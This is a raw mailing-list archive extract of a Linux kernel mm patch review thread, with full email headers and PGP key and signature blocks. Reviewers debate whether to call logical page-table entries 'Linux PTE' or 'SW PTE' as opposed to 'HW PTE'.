	YCNXU+xu02fc16SMGuzGwQ++lXasfJy5hjRcP9Wp6bvAczEz7EiON8SEpHR73ymEwsEeJs7aRyc
	MeANxP6F+mUFppFREz+fbAOUrHsjoFkyoolrmZbcga1PLz19S+A4/cw0x1fgDxov6vftdqnEmM2
	UwyVEBwv3BoWtmg=
X-Received: by 2002:a05:6402:1598:b0:6a0:4777:dd70 with SMTP id 4fb4d7f45d1cf-6a098d1a47dmr407946a12.38.1785480828368;
        Thu, 30 Jul 2026 23:53:48 -0700 (PDT)
Message-ID: <41414c5b-e98a-4a55-ac87-ca982b248ca3@suse.com>
Date: Fri, 31 Jul 2026 08:53:46 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
To: Anshuman Khandual <anshuman.khandual@arm.com>,
 Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, agordeev@linux.ibm.com,
 ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
 intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
 linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
 linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
 linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
 linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
 linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-2-usama.anjum@arm.com>
 <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------BRsY7KwrAyVfl7uL5YKoDvH1"
X-purgate-ID: tlsNG-720697/1785480828-315CD2AC-AEE46147/0/0
X-purgate-type: clean
X-purgate-size: 8831

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------BRsY7KwrAyVfl7uL5YKoDvH1
Content-Type: multipart/mixed; boundary="------------f4U4I64f0aRScntXRDIXzWi4";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Anshuman Khandual <anshuman.khandual@arm.com>,
 Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, agordeev@linux.ibm.com,
 ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
 intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
 linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
 linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
 linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
 linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
 linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Message-ID: <41414c5b-e98a-4a55-ac87-ca982b248ca3@suse.com>
Subject: Re: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-2-usama.anjum@arm.com>
 <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
In-Reply-To: <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>

--------------f4U4I64f0aRScntXRDIXzWi4
Content-Type: multipart/mixed; boundary="------------w4qlMsrvnQhbrwqQH7WX0LG8"

--------------w4qlMsrvnQhbrwqQH7WX0LG8
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMzEuMDcuMjYgMDc6NDksIEFuc2h1bWFuIEtoYW5kdWFsIHdyb3RlOg0KPiBPbiBNb24s
IEp1bCAyNywgMjAyNiBhdCAwNTo0Njo1MlBNICswMTAwLCBNdWhhbW1hZCBVc2FtYSBBbmp1
bSB3cm90ZToNCj4+IHB0ZV90IGlzIHVzZWQgYm90aCBmb3IgbG9naWNhbCBQVEUgdmFsdWVz
IGFuZCBmb3IgZW50cmllcyBzdG9yZWQgaW4gYSBQVEUNCj4+IHRhYmxlLCBzbyBwdGVfdCAq
IGRvZXMgbm90IGRpc3Rpbmd1aXNoIGEgcG9pbnRlciB0byBhIGNvcGllZCB2YWx1ZSBmcm9t
IGENCj4+IHBvaW50ZXIgdG8gdGFibGUgc3RvcmFnZS4NCj4gDQo+IFNob3VsZCB3ZSByYXRo
ZXIgY2FsbCB0aGVtIGFzICJMaW51eCBQVEUiIGFuZCAiSFcgUFRFIiBpbnN0ZWFkID8NCg0K
V2hhdCBhYm91dCAiU1cgUFRFIj8NCg0KDQpKdWVyZ2VuDQo=
--------------w4qlMsrvnQhbrwqQH7WX0LG8
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThp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Q/gH/1ha96vm4P/L+bQpJwrZ/dneZcmEwTbe8YFsw2V/Buv6Z4Mysln3nQK5ZadD
534CF7TDVft7fC4tU4PONxF5D+/tvgkPfDAfF77zy2AH1vJzQ1fOU8lYFpZXTXIH
b+559UqvIB8AdgR3SAJGHHt4RKA0F7f5ipYBBrC6cyXJyyoprT10EMvU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------w4qlMsrvnQhbrwqQH7WX0LG8--

--------------f4U4I64f0aRScntXRDIXzWi4--

--------------BRsY7KwrAyVfl7uL5YKoDvH1
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpsRnoFAwAAAAAACgkQsN6d1ii/Ey/0
+Af+LOETmiWDtYgZgC25DuWMp+4L5NyNITZaMb2C+ABgCkNfzqMcNtWSNk+JJzaB6hI7CZVtXOyx
C1BoB0Fu/IHEX1h7Yg4K1ioAh2SLzQsdlMwc3ccJAAvp9Eo6epm1vOmVDINqjoi4xu61L0M12heD
FLKsZAcd5yhOcg5mGmdZSniMILaMfmcRbzE3nQ1LJcS9mWFe4fFFZJ4OTaOduPMhwV6YQJgVN1Vx
/xWzbtBOPQ9qzjkjyownpcHtHYqI9vaMrG1B2XnHR2zJObPXbM5NT3luR6vqCrMZEq7LIlex4FDe
SDzOyTnt3oU2QGZCcz+k+jU+wOUa3QFM7tihNiQN4w==
=4r2J
-----END PGP SIGNATURE-----

--------------BRsY7KwrAyVfl7uL5YKoDvH1--


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 06:59:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 06:59:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378790.1623853 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wphDh-0003ED-G8; Fri, 31 Jul 2026 06:59:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378790.1623853; Fri, 31 Jul 2026 06:59:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wphDh-0003E6-Ct; Fri, 31 Jul 2026 06:59:49 +0000
Received: by outflank-mailman (input) for mailman id 1378790;
 Fri, 31 Jul 2026 06:59:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <anshuman.khandual@arm.com>) id 1wphDf-00039p-9q
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 06:59:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wphDe-00B9Fj-8G
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:59:46 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <anshuman.khandual@arm.com>)
 id 6a6c47de-e002-0a2a0a5209dd-0a2a4506df88-10
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 08:59:45 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <anshuman.khandual@arm.com>)
 id 6a6c47e0-195a-0a2a45060019-d98c6eaccc0e-1
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 08:59:45 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 1361D204C;
 Thu, 30 Jul 2026 23:59:40 -0700 (PDT)
Received: from localhost (a085714.arm.com [10.164.19.28])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 6F1523F86F;
 Thu, 30 Jul 2026 23:59:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785481184; bh=OAzUPG308bSFiJus+9fUvVqFx60KXPL0dOljxnhzkyQ=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=QC02GEhfCiI0em67YgTLHRPfaCb/dfs+G3WtGfvhepMbRXWH055GKUXJXt6pMlijz
	 hT9rJRKzYW9aKfsLaUp7wjeWgB7ykVkZ7QlwPmt8SYdkcC4HSzMtMhiD9uqxfhjbvP
	 vXMSQz6l2emXPCT4oaiM9BcgLtdshUgS/uOEQARE=
Date: Fri, 31 Jul 2026 12:29:40 +0530
From: Anshuman Khandual <anshuman.khandual@arm.com>
To: =?utf-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>, 
	Jani Nikula <jani.nikula@linux.intel.com>, Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
	Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin <tursulin@ursulin.net>, 
	David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
	Dimitri Sivanich <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>, 
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>, "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>, 
	Helge Deller <deller@gmx.de>, Stefano Stabellini <sstabellini@kernel.org>, 
	Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>, 
	Andrew Morton <akpm@linux-foundation.org>, "Liam R. Howlett" <liam@infradead.org>, 
	Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>, 
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>, Nick Piggin <npiggin@gmail.com>, 
	Peter Zijlstra <peterz@infradead.org>, Andrey Ryabinin <ryabinin.a.a@gmail.com>, 
	David Hildenbrand <david@kernel.org>, Pasha Tatashin <pasha.tatashin@soleen.com>, 
	Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>, 
	Uladzislau Rezki <urezki@gmail.com>, Steven Rostedt <rostedt@goodmis.org>, 
	Masami Hiramatsu <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>, 
	Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>, 
	Eduard Zingerman <eddyz87@gmail.com>, Kumar Kartikeya Dwivedi <memxor@gmail.com>, 
	Ingo Molnar <mingo@redhat.com>, Arnaldo Carvalho de Melo <acme@kernel.org>, 
	Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>, 
	"Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>, 
	Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>, 
	Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>, 
	Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, 
	pfalcato@suse.de, agordeev@linux.ibm.com, ryan.roberts@arm.com, 
	linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org, 
	linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org, linux-mm@kvack.org, 
	linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org, kasan-dev@googlegroups.com, 
	linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, 
	damon@lists.linux.dev
Subject: Re: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
Message-ID: <dzpt4ays25vvoyt56oy4iatfbqwp7z4gdsxumirv3v2nbvhoy4@73upph7f2hbk>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-2-usama.anjum@arm.com>
 <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
 <41414c5b-e98a-4a55-ac87-ca982b248ca3@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <41414c5b-e98a-4a55-ac87-ca982b248ca3@suse.com>
X-purgate-ID: tlsNG-16d1c6/1785481185-F480577B-826437B7/0/0
X-purgate-type: clean
X-purgate-size: 569

On Fri, Jul 31, 2026 at 08:53:46AM +0200, Jürgen Groß wrote:
> On 31.07.26 07:49, Anshuman Khandual wrote:
> > On Mon, Jul 27, 2026 at 05:46:52PM +0100, Muhammad Usama Anjum wrote:
> > > pte_t is used both for logical PTE values and for entries stored in a PTE
> > > table, so pte_t * does not distinguish a pointer to a copied value from a
> > > pointer to table storage.
> > 
> > Should we rather call them as "Linux PTE" and "HW PTE" instead ?
> 
> What about "SW PTE"?

Both Linux PTE or SW PTE would be better than current Logical PTE description.




From xen-devel-bounces@lists.xenproject.org Fri Jul 31 07:49:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 07:49:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378813.1623861 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wphzm-0002L0-TM; Fri, 31 Jul 2026 07:49:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378813.1623861; Fri, 31 Jul 2026 07:49:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wphzm-0002Kt-Qk; Fri, 31 Jul 2026 07:49:30 +0000
Received: by outflank-mailman (input) for mailman id 1378813;
 Fri, 31 Jul 2026 07:49:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wphzl-0002Kn-Mg
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 07:49:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wphzj-00BJ5j-W9
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 09:49:28 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5372-5cb7-0a2a0a5109dd-0a2a4501e508-38
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 09:49:27 +0200
Received: from [52.101.85.35]
 (helo=BYAPR05CU005.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5380-5984-0a2a45010019-34655523d069-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 09:49:22 +0200
Received: from BN9P220CA0009.NAMP220.PROD.OUTLOOK.COM (2603:10b6:408:13e::14)
 by MW4PR12MB7483.namprd12.prod.outlook.com (2603:10b6:303:212::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Fri, 31 Jul
 2026 07:49:15 +0000
Received: from BN1PEPF00004689.namprd05.prod.outlook.com
 (2603:10b6:408:13e:cafe::55) by BN9P220CA0009.outlook.office365.com
 (2603:10b6:408:13e::14) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Fri,
 31 Jul 2026 07:49:14 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN1PEPF00004689.mail.protection.outlook.com (10.167.243.134) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.292.8 via Frontend Transport; Fri, 31 Jul 2026 07:49:14 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 31 Jul
 2026 02:49:13 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 31 Jul 2026 02:49:12 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
